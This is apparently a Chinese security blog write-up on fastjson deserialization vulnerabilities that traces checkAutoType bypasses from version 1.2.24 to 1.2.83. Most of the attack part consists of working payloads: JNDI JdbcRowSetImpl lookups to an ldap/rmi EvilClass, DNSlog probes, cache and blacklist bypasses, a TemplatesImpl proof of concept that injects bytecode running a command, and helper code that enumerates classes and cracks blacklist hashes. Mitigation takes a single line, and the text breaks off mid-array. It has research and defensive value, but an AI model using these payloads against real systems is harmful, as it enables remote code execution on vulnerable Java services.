@TOC

fastjson反序列化漏洞

反序列化漏洞触发根因

  1. 使用了危险的类+传入类的参数外部可控
  2. 未使用危险的类+类型和传入类型的参数外部可控

第一种情况取决于开发在类中使用了危险的方法,常见于原生反序列化漏洞;第二种情况常见于允许解析外部传入的危险类所导致的,常见于各类组件

fastjson介绍

Fastjson 是由阿里巴巴开源的一个 Java 库,用于将 Java 对象转换为 JSON 格式,以及将 JSON 字符串转换为 Java 对象。它支持泛型和任意复杂的对象,包括具有复杂继承关系和广泛使用泛型的对象。Fastjson 以其高性能而闻名,并且在阿里巴巴内部大规模使用,也在业界得到了广泛的接受。

从以下的maven仓内可以看到,fastjson已经迭代到了2.0+的版本,存在漏洞的版本也到达了1.2.80,至于1.2.83并没找到流传的payload

Maven Repository: com.alibaba » fastjson (mvnrepository.com)

fastjson反序列化漏洞关键点

fastjson 1.2.24

默认使用@type来指定反序列化任意类,并调用这个类的setter方法,只需要待反序列化的类的setter方法或构造方法存在安全隐患即可利用,当然也可以借助JNDI去引用恶意的类从而完成攻击

fastjson 1.2.25

针对 1.2.24 版本爆出的反序列化漏洞,1.2.25 版本引入了checkAutoType安全机制,即写了一个checkAutoType函数来做检查。

当AutoType关闭且expectClass为空,checkAutoType会通过TypeUtils.getClassFromMapping和this.deserializers.findClass尝试获取该类,但实际获取不到,然后走入以下逻辑:

  • 使用denyList做黑名单校验
  • 然后使用acceptList做白名单校验,在白名单内就会直接加载类,但实际上白名单默认就为空
  • 当类为空,抛出autoType is not support.异常

当AutoType开启或者expectClass不为空:

  • 经过白名单校验,在白名单内就会直接加载类,但实际上白名单默认就为空
  • 经过黑名单校验
  • 双校验都通过然后直接通过TypeUtils.loadClass(typeName, this.defaultClassLoader)加载类

但是在loadClass中可以发现,只要类以[开头或者以L开头且以;结尾,该函数都会自动去除这些符号,而且这种处理是递归的

image-20250613182141033

从上图的else块可以看出,当classLoader不为空,mapping会自动添加这个类,当classLoader为空,则从上下文获取一个ClassLoader,然后将该类加入mapping,而对于loadClass这个递归函数而言,只要绕过前面的黑名单([开头或者以L开头且以;),最后一定可以得到一个任意类

利用条件,需要同时满足:

  • 开启autotype
  • 绕过黑名单

fastjson 1.2.42

fastjson 1.2.40未修改AutoTypeCheck,1.2.42过滤了首尾字符,具体方式为:

if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                className = className.substring(1, className.length() - 1);
            }

由于loadClass是递归函数,因此可以通过双写绕过

利用条件,需要同时满足:

  • 开启autotype
  • 通过双写绕过黑名单

fastjson 1.2.43

在此处做了修改:

if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                className = className.substring(1, className.length() - 1);
            }

未对[做处理,可以据此绕过

利用条件,需要同时满足:

  • 开启autotype
  • 通过[双写绕过黑名单

MiscCodec cache通杀(1.2.48以下)

简单来说,借助MiscCodec反序列化器读取payload中的val(恶意类),然后将其加入mappings缓存(这个mappings前面提到过,在未开启autotype时会查看mappings白名单),这样,在反序列化json对象的下一个属性时就可以通过@type属性调用这个恶意类

由于loadClass cache默认设置为true,因此利用条件:

  • fastjson版本小于1.2.48

fastjson 1.2.68

该版本设置了一个新的属性safeMode,用于autoType的一个补充。

根据参考内容,说通过expectClass可以绕过autoTypeCheck触发反序列化漏洞,因此逆向跟踪expectClass找到以下两个反序列化器:

ThrowableDeserializer
JavaBeanDeserializer

使用以下json进行调试:

{"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream"}}

开始调试checkAutoType,当safeMode开启,如果未自定义handler处理想要处理的类,就会直接抛出异常

image-20250618210910067

当safeMode关闭,使用expectClassFlag标记是否传入expectClass且为除指定类以外的类

image-20250618210933679

然后当首字符为L、尾字符为;,直接抛出异常

image-20250618211828719

紧接着就是一段黑名单校验(internalDenyHashCodes),这可以通过配置项配置,之后就是:

image-20250618212530644

internalWhite是内部固定白名单的标志位,如果在白名单中找到了则该值为true,因此条件是没在白名单中找到且autoType开启或expectClassFlag为true时才会进入该分支进行内部固定黑名单的校验,再往后就直接从mappings和反序列化器列表中提取出当前类并返回了(当然,后面有autoType为false时的黑名单处理逻辑,和此处一样,因此忽略)。

在提取出第一个@type的类后会尝试找该类对应的反序列化器,在初始化的反序列化器列表中没找到,就会尝试在以下代码中动态创建反序列化器,然后在后续将反序列化器添加到反序列化器列表中:

image-20250618204517356

然后,当fastjson识别到当前字段出现第二个@type,会尝试从上一个反序列化器去获取一个相同的反序列化器,但是获取失败了,因此再次调用checkAutoType,这个时候,上一个类会作为expectClass传入,expectClassFlag被设置为true

image-20250618205623246

而这个时候,第二个类由于不在内部黑名单,因此通过了黑名单校验,由于不在mappings和反序列化器列表中,因此clazz为null,再往后,通过 ASM(Java 字节码操作库)来扫描类的静态初始化块(<clinit>),检查其中是否存在@JSONType注解,再往后:

image-20250618221727471

由于expectClassFlag为true,因此直接加载了类,但还没完,以下代码还要检查clazz是否是expectClass的子类

image-20250618221910284

至此,第二个类通过了checkAutoType的校验,后续就是进行正常的反序列化操作,不过此时会报错default constructor not found. class sun.rmi.server.MarshalOutputStream,因为目标类没有无参构造函数

根据前面的分析,利用条件如下:

  • safeMode为false
  • 第一个@type中的类在反序列化器列表和mappings中,并且使用的反序列化器为ThrowableDeserializerJavaBeanDeserializer
  • 第二个类为危险的类,且不在黑名单中
  • 第二个类是第一个类的子类

该版本可以用的第一个类:

java.lang.AutoCloseable
java.lang.Exception(java.lang.Throwable的子类)

其中,java.lang.Exception能否利用取决于实现的Expection的子类是否危险

由于java.lang.Exception能否利用取决于实现的Expection的子类是否危险,因此这里的利用链主要还是依靠AutoCloseable,而AutoCloseable的子类非常多,这可以通过遍历当前的java环境做到,像一些常用的流,比如java.io.OutputStreamWriterjava.io.FilterOutputStream等。

当找到一个想要反序列化的类后,会在JavaBeanInfo中build:

image-20250619183843333

jsonType为true时builderClass才有可能不为null,因此我们找的类基本都会走:

defaultConstructor = getDefaultConstructor(clazz, constructors);

image-20250619190107319

第一部分是说明会直接取无参构造,第二部分则是要求类为成员内部类以及该类不是静态嵌套类,内部for循环中的条件是构造函数的参数数量为1且其参数类型等于声明当前类的类的类型,经过代码测试,这一块堵死

再往后面看:

image-20250619195334409

代码的目的是从类的构造函数里筛选出符合条件的公共构造函数,并且找出参数数量最多的那个

image-20250619222814554

image-20250619222837183

需要注意的是,此处的debugInfoPresent为false,导致返回的参数名列表为空,通过逆向发现,当入参数量为0,该值为1,除此之外,就是指定类的class文件在LocalVariable中存在对应构造方法的LocalVariableTable

javap -v -p E:\java\jdk8\jre\lib\rt\java\io\FileOutputStream.class | find "LocalVariableTable"

因此,想要反序列化的类必须满足以下条件:

  • 是AutoCloseable的子类
  • 当前jdk版本下该类在编译时保留构造方法的LocalVariableTable,这可以通过ASM来读取指定类是否有保留

fastjson 1.2.69

fastjson 1.2.68有对expectClass做一个黑名单,即:

java.lang.Object
java.lang.Cloneable
java.lang.Iterable
java.io.Serializable
java.io.Closeable
java.util.EventListener
java.util.Collection

fastjson 1.2.69新增的expectClass hash黑名单

-8024746738719829346L,1
3247277300971823414L,1
-5811778396720452501L,1
-1368967840069965882L,
2980334044947851925L,
5183404141909004468L,
7222019943667248779L,1
-2027296626235911549L,1
-2114196234051346931L,1
-2939497380989775398L 1

新增了三个,经过hash计算可以得到以下三个是多出来的

-1368967840069965882L,java.lang.AutoCloseable
2980334044947851925L, java.lang.Readable
5183404141909004468L, java.lang.Runnable

因此利用方式就是借助Exception

fastjson 1.2.80

1.2.80新增了内部黑名单,expectClass黑名单不变,利用方式同1.2.69

fastjson 1.2.83

使用1.2.80可以使用的Exception相关payload,发现fastjson 1.2.83在处理第二个@type调用checkAutoType时,expectClass为null。

对比1.2.80和1.2.83的jar包,发现以下不同之处:

  • 继续新增内部黑名单

  • 注意到这里当遇到了Throwable的子类就会返回null,导致解析第二个@typeexpectClass为null:

    image-20250621041255186

因此,Throwable这条路对应的ThrowableDeserializer走不通了,只能寻找能够创建JavaBeanDeserializer的类及其可利用的子类。

利用条件:

  • safeMode关闭

  • 找到一个不在初始化反序列化器列表中的类,当前版本反序列化器列表对应的类列表如下:

    SimpleDateFormat.class
    Calendar.class
    XMLGregorianCalendar.class
    JSONObject.class
    JSONArray.class
    Map.class
    HashMap.class
    LinkedHashMap.class
    TreeMap.class
    ConcurrentMap.class
    ConcurrentHashMap.class
    Collection.class
    List.class
    ArrayList.class
    Object.class
    String.class
    StringBuffer.class
    StringBuilder.class
    Character.TYPE
    Character.class
    Byte.TYPE
    Byte.class
    Short.TYPE
    Short.class
    Integer.TYPE
    Integer.class
    Long.TYPE
    Long.class
    BigInteger.class
    BigDecimal.class
    Float.TYPE
    Float.class
    Double.TYPE
    Double.class
    Boolean.TYPE
    Boolean.class
    Class.class
    char[].class
    AtomicBoolean.class
    AtomicInteger.class
    AtomicLong.class
    AtomicReference.class
    WeakReference.class
    SoftReference.class
    UUID.class
    TimeZone.class
    Locale.class
    Currency.class
    Inet4Address.class
    Inet6Address.class
    InetSocketAddress.class
    File.class
    URI.class
    URL.class
    Pattern.class
    Charset.class
    JSONPath.class
    Number.class
    AtomicIntegerArray.class
    AtomicLongArray.class
    StackTraceElement.class
    Serializable.class
    Cloneable.class
    Comparable.class
    Closeable.class
    JSONPObject.class
    
  • 找到上一个类的子类

绕过黑名单的类

引入某些危险的额外的依赖可能会造成绕过黑名单,只要引入对应的依赖就都可以直接触发漏洞,不同的额外依赖对依赖版本以及fastjson的版本均有要求。需要注意的是,在1.2.24版本中,

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

  • mybatis版本:涉及3.x.x(目前最新3.5.19依旧可以)或者使用mybatis-spring-boot-starter(截至到3.0.4的全部版本)

    <dependency>
        <groupId>org.mybatis</groupId>
        <artifactId>mybatis</artifactId>
        <version>3.2.8</version>
    </dependency>
    <dependency>
       <groupId>org.mybatis.spring.boot</groupId>
       <artifactId>mybatis-spring-boot-starter</artifactId>
       <version>1.3.5</version>
    </dependency>
    
  • fastjson版本:1.2.45及以下版本

org.apache.xbean.propertyeditor.JndiConverter

  • xbean-reflect版本:3.4及其以上版本(截至到版本4.27)

    <dependency>
        <groupId>org.apache.xbean</groupId>
        <artifactId>xbean-reflect</artifactId>
        <version>4.27</version>
    </dependency>
    
  • fastjson版本:1.2.62及以下版本

org.apache.shiro.jndi.JndiObjectFactory

  • shiro版本:shiro-core 1.2.0及以上版本到1.13.0及以下版本

    <dependency>
         <groupId>org.apache.shiro</groupId>
         <artifactId>shiro-core</artifactId>
         <version>1.5.1</version>
    </dependency>
    
  • fastjson版本:1.2.67及以下版本

漏洞触发场景

  1. 使用fastjson反序列化了开发写的类,且开发在对象的set方法中进行了危险操作
  2. 使用fastjson反序列化了恶意类,这些类要么是jdk版本自带的,要么是其他依赖包携带的

漏洞复现

环境

jdk8_102 + fastjson各版本

引入依赖

需要单独引入fastjson各版本依赖,如下:

<dependency>
			<groupId>com.alibaba</groupId>
			<artifactId>fastjson</artifactId>
			<version>1.2.80</version>
		</dependency>

poc

DNS盲打验证

{"name":{"@type":"java.net.Inet6Address","val":"7w144t.dnslog.cn"}, "age": 12}
{"name":{"@type":"java.net.Inet4Address","val":"h93bmg.dnslog.cn"}, "age": 12}
{"name":{"@type":"java.net.URL","val":"http://2uc1jy.dnslog.cn"}}

其中第三个payload延迟高,jdk17+fastjson 1.2.80可成功

JdbcRowSetImpl JNDI

使用jdk版本为应该小于JDK 8u113 ,因为在之后的版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许RMI、cosnaming从远程的 Codebase加载Reference工厂类

(1)fastjson 1.2.24
{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true}, "age": 12}

{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1/Exploit","autoCommit":true}, "age": 12}
(2)fastjson 1.2.25
{"name":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true}, "age": 12}

{"name":{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true}, "age": 12}

{"name":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/EvilClass","autoCommit":true}, "age": 12}

注意第三个payload的格式,多加了[{,如果不这么做就会喜提报错:exepct '[', but ,, pos 50, json :xxxxxxxxxx

(3)fastjson 1.2.42
{"name":{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/EvilClass","autoCommit":true}, "age": 12}

{"name":{"@type":"[[com.sun.rowset.JdbcRowSetImpl"[[{,"dataSourceName":"ldap://127.0.0.1:1389/EvilClass","autoCommit":true}, "age": 12}
(4)fastjson 1.2.43
{"name":{"@type":"[[com.sun.rowset.JdbcRowSetImpl"[[{,"dataSourceName":"ldap://127.0.0.1:1389/EvilClass","autoCommit":true}, "age": 12}
(6)fastjson 1.2.68

在jdk8_202的环境下,经过代码筛选得到以下类可以使用:

jdk.nashorn.api.scripting.URLReader
com.alibaba.fastjson.serializer.SerializeWriter
com.alibaba.fastjson.JSONReader
com.alibaba.fastjson.parser.DefaultJSONParser
com.alibaba.fastjson.parser.JSONReaderScanner
com.alibaba.fastjson.parser.DefaultExtJSONParser
com.alibaba.fastjson.parser.JSONLexerBase
com.alibaba.fastjson.parser.JSONScanner
com.alibaba.fastjson.JSONWriter
org.apache.shiro.io.ClassResolvingObjectInputStream
com.intellij.rt.ant.execution.SegmentedOutputStream

主要的思路就是获取当前环境下允许使用的类,然后去构造payload。

以下是收集到的一个paylaod,可以提供一个构造payload的思路:

{
    'stream':
    {
        '@type':"java.lang.AutoCloseable",
        '@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
        'targetPath':'/tmp/dst',
        'tempPath':'/tmp/src'
    },
    'writer':
    {
        '@type':"java.lang.AutoCloseable",
        '@type':'com.esotericsoftware.kryo.io.Output',
        'buffer':'aGFja2VkIGJ5IG0wMWUu',
        'outputStream':
        {
            '$ref':'$.stream'
        },
        'position':15
    },
    'close':
    {
        '@type':"java.lang.AutoCloseable",
        '@type':'com.sleepycat.bind.serial.SerialOutput',
        'out':
        {
            '$ref':'$.writer'
        }
    }
}

(7)MiscCodec cache通杀(fastjson 1.2.47及以下版本)
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://127.0.0.1:1389/EvilClass",
        "autoCommit":true
    }
}
(8)黑名单类
mybatis 或mybatis-spring-boot-starter
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/EvilClass"}}
xbean-reflect
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1/EvilClass"}
shiro-core
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://127.0.0.1:1389/EvilClass"}

Exception

适用于1.2.80及以下版本

package org.example.tools;

import java.io.IOException;

public class MyException extends Exception{
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

//    public void setName(String str) {
        //            Runtime.getRuntime().exec("calc");
//        System.out.println(str);
//    }
}

对应的payload:

{"@type": "java.lang.Exception","@type": "org.example.tools.MyException"}

TemplatesImpl

{"name":{    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",    "_bytecodes": ["恶意字节码"],    "_name": "test",    "_tfactory": {},    "_outputProperties": {},},"age":14}

具体代码如下(包括字节码生成):

(1)fastjson 1.2.24

public class FastjsonTemplatesImplPOC {
    public static void main(String[] args) throws Exception {
       ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(FastjsonTemplatesImplPOC.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "akka1" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

        byte[] evilCode = cc.toBytecode();
        String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
        System.out.println(evilCode_base64);
        String payload =
                "{\n" +
                        "    \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
                        "    \"_bytecodes\": [\""+evilCode_base64+"\"],\n" +
                        "    \"_name\": \"test\",\n" +
                        "    \"_tfactory\": {},\n" +
                        "    \"_outputProperties\": {},\n" +
                        "}";
        ParserConfig config = new ParserConfig();
        System.out.println(payload);
        Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);
    }
}

Feature.SupportNonPublicField 是 Fastjson 提供的一个反序列化特性标志,用于控制是否允许访问和设置对象的非公共字段(包括私有字段、受保护字段等)

(2)fastjson 1.2.25

       String payload =
                "{\"name\": {\n" +
                        "    \"@type\": \"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\n" +
                        "    \"_bytecodes\": [\""+evilCode_base64+"\"],\n" +
                        "    \"_name\": \"test\",\n" +
                        "    \"_tfactory\": {},\n" +
                        "    \"_outputProperties\": {},\n" +
                        "}}";
        ParserConfig config = new ParserConfig();
        config.setAutoTypeSupport(true);
        System.out.println(payload);
        Object obj = JSON.parseObject(payload,Person.class, config, Feature.SupportNonPublicField);

其他版本的fastjson可以自行测试,因为TemplatesImpl需要设置Feature.SupportNonPublicField

修复方案

升级到最新版本且开启safeMode

参考

  • https://xz.aliyun.com/news/14309#toc-5

  • https://wjlshare.com/archives/1526
  • https://www.cnblogs.com/nice0e3/p/14776043.html#1225-1241-%E7%BB%95%E8%BF%87
  • https://www.freebuf.com/articles/web/231446.html

  • https://blog.csdn.net/mole_exp/article/details/122315526

附录

附录涉及的代码适用于jdk8,某些代码在高版本jdk下无法使用,这和jdk的Module机制有关

autoType和safeMode开启方式

(1)1.2.25版本及以上避免主动开启autoType,开启autoType的方式有以下两种:

  • jvm启动参数

    -Dfastjson.parser.autoTypeSupport=true
    
  • 代码

    ParserConfig.getGlobalInstance().setAutoTypeSupport(true); 
    

(2)1.2.68及以上版本开启safeMode,开启safeMode的方式有以下两种

  • jvm启动参数

    -Dfastjson.parser.safeMode=true
    
  • 代码

    ParserConfig.getGlobalInstance().setSafeMode(true);
    

枚举类

package org.example.tools;

import java.io.File;
import java.io.IOException;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.List;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;

import static org.example.tools.FileProcesser.writeLines;

public class ClassEnumerator {
    public static List<String> getAllClasses() throws IOException {
        List<String> classes = new ArrayList<>();
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        URL[] urls = ((URLClassLoader) classLoader).getURLs();

        for (URL url : urls) {
            if ("file".equals(url.getProtocol())) {
                // 解码URL路径
                String filePath = URLDecoder.decode(url.getFile(), "UTF-8");
                File file = new File(filePath);

                if (file.isDirectory()) {
                    scanDirectory(file, "", classes);
                } else if (file.getName().endsWith(".jar")) {
                    // 增加文件存在检查
                    if (file.exists()) {
                        scanJar(file, classes);
                    } else {
                        System.err.println("JAR文件不存在: " + filePath);
                    }
                }
            }
        }
        return classes;
    }

    private static void scanDirectory(File dir, String packageName, List<String> classes) {
        File[] files = dir.listFiles();
        if (files != null) {
            for (File file : files) {
                if (file.isDirectory()) {
                    scanDirectory(file, packageName + file.getName() + ".", classes);
                } else if (file.getName().endsWith(".class")) {
                    String className = packageName + file.getName().substring(0, file.getName().length() - 6);
                    classes.add(className);
                }
            }
        }
    }

    private static void scanJar(File jarFile, List<String> classes) throws IOException {
        try (JarFile jar = new JarFile(jarFile)) {
            Enumeration<JarEntry> entries = jar.entries();
            while (entries.hasMoreElements()) {
                JarEntry entry = entries.nextElement();
                String name = entry.getName();
                if (name.endsWith(".class")) {
                    String className = name.replace('/', '.').substring(0, name.length() - 6);
                    classes.add(className);
                }
            }
        }

    }
    public static List<String> findSubClasses(String currClassName, List<String> classNames) throws IOException, ClassNotFoundException {
        List<String> result = new ArrayList<>();

        // 使用当前线程的上下文类加载器,避免潜在的类加载问题
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();

        // 加载当前类的 Class 对象(不初始化)
        Class<?> currClass = classLoader.loadClass(currClassName);

        // 遍历所有类名,判断是否为子类型
        for (String className : classNames) {
            try {

                // 加载当前遍历到的类(不初始化)
                Class<?> clazz = classLoader.loadClass(className);

                // 判断是否为子类型(包括自身、子类或实现类)
                if (currClass.isAssignableFrom(clazz)) {
//                    System.out.println(currClassName + " : " + className);
                    result.add(className);
                }
            } catch (ClassNotFoundException e) {
                System.err.println("Class not found: " + className);
            } catch (UnsupportedClassVersionError e) {
                System.err.println("Unsupported class version: " + className);
            } catch (NoClassDefFoundError e) {
                System.err.println("Missing dependency: " + className);
            } catch (SecurityException e) {
                System.err.println("Security restriction: " + className);
            } catch (Exception | Error e) {
                // 捕获其他异常/错误,避免中断扫描过程
                System.err.println("Unexpected error processing " + className + ": " + e.getMessage());
            }
        }

        return result;
    }

    
    public static void main(String[] args) {
        try {
            List<String> classes = getAllClasses();
            System.out.println("找到 " + classes.size() + " 个类");
            classes.forEach(System.out::println);

        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

hash碰撞

package org.example.tools;

import java.io.IOException;
import java.util.*;

import static org.example.tools.ClassEnumerator.getAllClasses;
import static org.example.tools.FileProcesser.writeLines;

public class fastjson_hash {
    private static final long[] INTERNAL_WHITELIST_HASHCODES = new long[]{-9013707057526259810L, -8773806119481270567L, -8421588593326113468L, -8070393259084821111L, -7858127399773263546L, -7043543676283957292L, -6976602508726000783L, -6293031534589903644L, -6081111809668363619L, -5779433778261875721L, -5399450433995651784L, -4540135604787511831L, -4207865850564917696L, -3950343444501679205L, -3714900953609113456L, -3393714734093696063L, -3378497329992063044L, -2631228350337215662L, -2551988546877734201L, -2473987886800209058L, -2265617974881722705L, -1759511109484434299L, -1477946458560579955L, -816725787720647462L, -520183782617964618L, 59775428743665658L, 484499585846206473L, 532945107123976213L, 711449177569584898L, 829148494126372070L, 956883420092542580L, 1233162291719202522L, 1696465274354442213L, 1863557081881630420L, 2238472697200138595L, 2380202963256720577L, 2643099543618286743L, 2793877891138577121L, 3804572268889088203L, 4567982875926242015L, 4784070066737926537L, 4960004821520561233L, 5348524593377618456L, 5454920836284873808L, 5695987590363189151L, 6073645722991901167L, 6114875255374330593L, 6137737446243999215L, 6160752908990493848L, 6939315124833099497L, 7048426940343117278L, 7267793227937552092L, 8331868837379820532L, 8357451534615459155L, 8890227807433646566L, 9166532985682478006L, 9215131087512669423L};
    ;
    public static long fnv1a_64(String key) {
        long hashCode = -3750763034362895579L;

        for(int i = 0; i < key.length(); ++i) {
            char ch = key.charAt(i);
            hashCode ^= (long)ch;
            hashCode *= 1099511628211L;
        }

        return hashCode;
    }
    public static long[] getArrayDiff(long[] array1, long[] array2) {
        Set<Long> diffSet = new HashSet<>();

        // 将第一个数组元素存入集合
        for (long num : array1) {
            diffSet.add(num);
        }

        // 遍历第二个数组,提取差异元素
        for (long num : array2) {
            if (!diffSet.remove(num)) { // 存在则移除,不存在则加入差异集合
                diffSet.add(num);
            }
        }

        // 将集合转换为长整型数组
        long[] result = diffSet.stream().mapToLong(Long::longValue).toArray();
        Arrays.sort(result);
        return result;
    }

    public static List<String> getAcceptList(List<String> classes, long[] acceptHashCodes){
        Arrays.sort(acceptHashCodes);
        List<String> results = new ArrayList<>();
        for(String className : classes) {
            long fullHash = fnv1a_64(className);
            if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
                System.out.println("白名单:" + className);
                results.add(className);
            }

        }
        return results;
    }

    public static List<String> getDenyExpectClassList(List<String> classes, long[] expectClassDenyHashCodes){
        List<String> results = new ArrayList<>();
        Arrays.sort(expectClassDenyHashCodes);
        for(String className : classes) {
            long fullHash = fnv1a_64(className);
            if (Arrays.binarySearch(expectClassDenyHashCodes, fullHash) >= 0) {
                System.out.println("expectClass:" + className+"\t hash:"+fullHash);
                results.add(className);
            }
        }
        return results;
    }
    public static List<String> getDenyList(List<String> classes, long[] denyHashCodes){
        Arrays.sort(denyHashCodes);
        List<String> results = new ArrayList<>();
        for(String className : classes) {
            long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
            if(h1==-5808493101479473382L) {
                System.out.println(h1);
                System.out.println(className.charAt(0));
                System.out.println("校验首字符:"+className);
            }
            if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L){
                System.out.println(h1);
                System.out.println(className.charAt(className.length() - 1));
                System.out.println("校验尾字符:"+className);
            }
            long hash = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
            for(int i = 3; i < className.length(); ++i) {
                hash ^= (long)className.charAt(i);
                hash *= 1099511628211L;
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                    System.out.println("黑名单:"+className);
                    results.add(className);
                    break;
                }
            }
        }
        return results;
    }

    public static boolean isClassHashInDeny(String className, long[] denyHashCodes) {
        Arrays.sort(denyHashCodes);
        long hash = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
        for(int i = 3; i < className.length(); ++i) {
            hash ^= (long)className.charAt(i);
            hash *= 1099511628211L;
            if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                System.out.println("黑名单:"+className);
                return true;
            }
        }
        return false;
    }


    public static void main(String[] args) throws IOException {

        //1.2.68
        long[] denyHashCodes = new long[]{-9164606388214699518L, -8720046426850100497L, -8649961213709896794L, -8165637398350707645L, -8109300701639721088L, -7966123100503199569L, -7921218830998286408L, -7775351613326101303L, -7768608037458185275L, -7766605818834748097L, -6835437086156813536L, -6316154655839304624L, -6179589609550493385L, -6025144546313590215L, -5939269048541779808L, -5885964883385605994L, -5764804792063216819L, -5472097725414717105L, -5194641081268104286L, -4837536971810737970L, -4608341446948126581L, -4438775680185074100L, -4082057040235125754L, -3975378478825053783L, -3935185854875733362L, -3319207949486691020L, -3077205613010077203L, -2825378362173150292L, -2439930098895578154L, -2378990704010641148L, -2364987994247679115L, -2262244760619952081L, -2192804397019347313L, -2095516571388852610L, -1872417015366588117L, -1650485814983027158L, -1589194880214235129L, -905177026366752536L, -831789045734283466L, -582813228520337988L, -254670111376247151L, -190281065685395680L, -26639035867733124L, -9822483067882491L, 4750336058574309L, 33238344207745342L, 218512992947536312L, 313864100207897507L, 386461436234701831L, 823641066473609950L, 1073634739308289776L, 1153291637701043748L, 1203232727967308606L, 1459860845934817624L, 1502845958873959152L, 1534439610567445754L, 1698504441317515818L, 1818089308493370394L, 2078113382421334967L, 2164696723069287854L, 2653453629929770569L, 2660670623866180977L, 2731823439467737506L, 2836431254737891113L, 3089451460101527857L, 3114862868117605599L, 3256258368248066264L, 3547627781654598988L, 3637939656440441093L, 3688179072722109200L, 3718352661124136681L, 3730752432285826863L, 3794316665763266033L, 4046190361520671643L, 4147696707147271408L, 4254584350247334433L, 4814658433570175913L, 4841947709850912914L, 4904007817188630457L, 5100336081510080343L, 5274044858141538265L, 5347909877633654828L, 5450448828334921485L, 5474268165959054640L, 5596129856135573697L, 5688200883751798389L, 5751393439502795295L, 5944107969236155580L, 6007332606592876737L, 6280357960959217660L, 6456855723474196908L, 6511035576063254270L, 6534946468240507089L, 6734240326434096246L, 6742705432718011780L, 6854854816081053523L, 7123326897294507060L, 7179336928365889465L, 7375862386996623731L, 7442624256860549330L, 7658177784286215602L, 8055461369741094911L, 8389032537095247355L, 8409640769019589119L, 8488266005336625107L, 8537233257283452655L, 8838294710098435315L, 9140390920032557669L, 9140416208800006522L};

        //1.2.69
        long[] denyHashCodes1 =new long[]{-9164606388214699518L, -8720046426850100497L, -8649961213709896794L, -8165637398350707645L, -8109300701639721088L, -7966123100503199569L, -7921218830998286408L, -7775351613326101303L, -7768608037458185275L, -7766605818834748097L, -6835437086156813536L, -6316154655839304624L, -6179589609550493385L, -6025144546313590215L, -5939269048541779808L, -5885964883385605994L, -5764804792063216819L, -5472097725414717105L, -5194641081268104286L, -4837536971810737970L, -4608341446948126581L, -4438775680185074100L, -4082057040235125754L, -3975378478825053783L, -3935185854875733362L, -3319207949486691020L, -3077205613010077203L, -3053747177772160511L, -2825378362173150292L, -2439930098895578154L, -2378990704010641148L, -2364987994247679115L, -2262244760619952081L, -2192804397019347313L, -2095516571388852610L, -1872417015366588117L, -1650485814983027158L, -1589194880214235129L, -905177026366752536L, -831789045734283466L, -582813228520337988L, -254670111376247151L, -190281065685395680L, -26639035867733124L, -9822483067882491L, 4750336058574309L, 33238344207745342L, 218512992947536312L, 313864100207897507L, 386461436234701831L, 823641066473609950L, 1073634739308289776L, 1153291637701043748L, 1203232727967308606L, 1459860845934817624L, 1502845958873959152L, 1534439610567445754L, 1698504441317515818L, 